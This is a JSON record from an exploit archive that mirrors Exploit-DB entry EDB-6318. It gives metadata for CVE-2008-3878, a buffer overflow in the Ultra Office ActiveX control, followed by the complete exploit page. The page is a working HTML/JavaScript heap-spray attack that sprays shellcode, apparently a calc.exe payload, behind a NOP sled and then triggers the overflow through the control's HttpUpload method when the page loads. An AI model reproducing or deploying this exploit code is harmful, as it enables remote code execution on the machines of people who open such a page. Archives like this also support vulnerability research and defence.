{"exploit":{"id":"EDB-6318","name":"Ultra Shareware Office Control - ActiveX Control Remote Buffer Overflow","description":"Ultra Shareware Office Control - ActiveX Control Remote Buffer Overflow","cves":["CVE-2008-3878"],"author":"shinnai","published":"2008-08-27","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6318","path":"exploits/windows/remote/6318.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6318.html","vulnerabilities":[{"id":"CVE-2008-3878","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the Ultra.OfficeControl ActiveX control in OfficeCtrl.ocx 2.0.2008.801 in Ultra Shareware Ultra Office Control allows remote attackers to execute arbitrary code via long strUrl, strFile, and strPostData parameters to the HttpUpload method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3878","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3878"},"updatedAt":"2024-08-07T09:53:00.374Z","retrievedAt":"2026-11-27T02:09:15.595Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6318.png?v=2","url":"https://exploitbin.com/exploits/EDB-6318","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6318/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6318/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"-----------------------------------------------------------------------------\n Ultra Office ActiveX Control Remote Buffer Overflow\n url: http://www.ultrashareware.com\n\n Author: shinnai\n mail: shinnai[at]autistici[dot]org\n site: http://www.shinnai.net\n\n This was written for educational purpose. Use it at your own risk.\n Author will be not responsible for any damage.\n\n Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7\n-----------------------------------------------------------------------------\n<script language=\"JavaScript\" defer>\n  var sCode = unescape(\"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800\" +\n                       \"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A\" +\n                       \"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350\" +\n                       \"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40\" +\n                       \"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000\" +\n                       \"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040\" +\n                       \"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD\" +\n                       \"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40\" +\n                       \"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18\" +\n                       \"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0\" +\n                       \"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B\" +\n                       \"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24\" +\n                       \"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9\" +\n                       \"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C\" +\n                       \"%u652E%u6578%u9000\");\n  var sSlide = unescape(\"%u9090%u9090\");\n  var heapSA = 0x0c0c0c0c;\n  function tryMe()\n   {\n    var buffSize = 20000;\n    var x =  unescape(\"%0c%0c%0c%0c\");\n    while (x.length<buffSize) x += x;\n    x = x.substring(0,buffSize);\n    boom.HttpUpload(x, x, x);\n  }\n  function getsSlide(sSlide, sSlideSize)\n   {\n    while (sSlide.length*2<sSlideSize)\n     {\n      sSlide += sSlide;\n     }\n    sSlide = sSlide.substring(0,sSlideSize/2);\n    return (sSlide);\n  }\n  var heapBS = 0x400000;\n  var sizeHDM = 0x5;\n  var PLSize = (sCode.length * 2);\n  var sSlideSize = heapBS - (PLSize + sizeHDM);\n  var heapBlocks = (heapSA+heapBS)/heapBS;\n  var memory = new Array();\n  sSlide = getsSlide(sSlide,sSlideSize);\n  for (i=0;i<heapBlocks;i++)\n   {\n    memory[i] = sSlide +  sCode;\n   }\n </script>\n <body onload=\"JavaScript: return tryMe();\">\n  <object id=\"boom\" classid=\"clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7\">\n   Unable to create object\n </object>\n\n# milw0rm.com [2008-08-27]","sha256":"c5af8ffe06c2035ef00032bb4a60adf8f2153fd5d3393223d805a36aabcf7018","bytes":2804,"fetchedAt":"2026-11-27T02:09:12.385Z","encoding":"utf-8 (display only; download retains original bytes)"}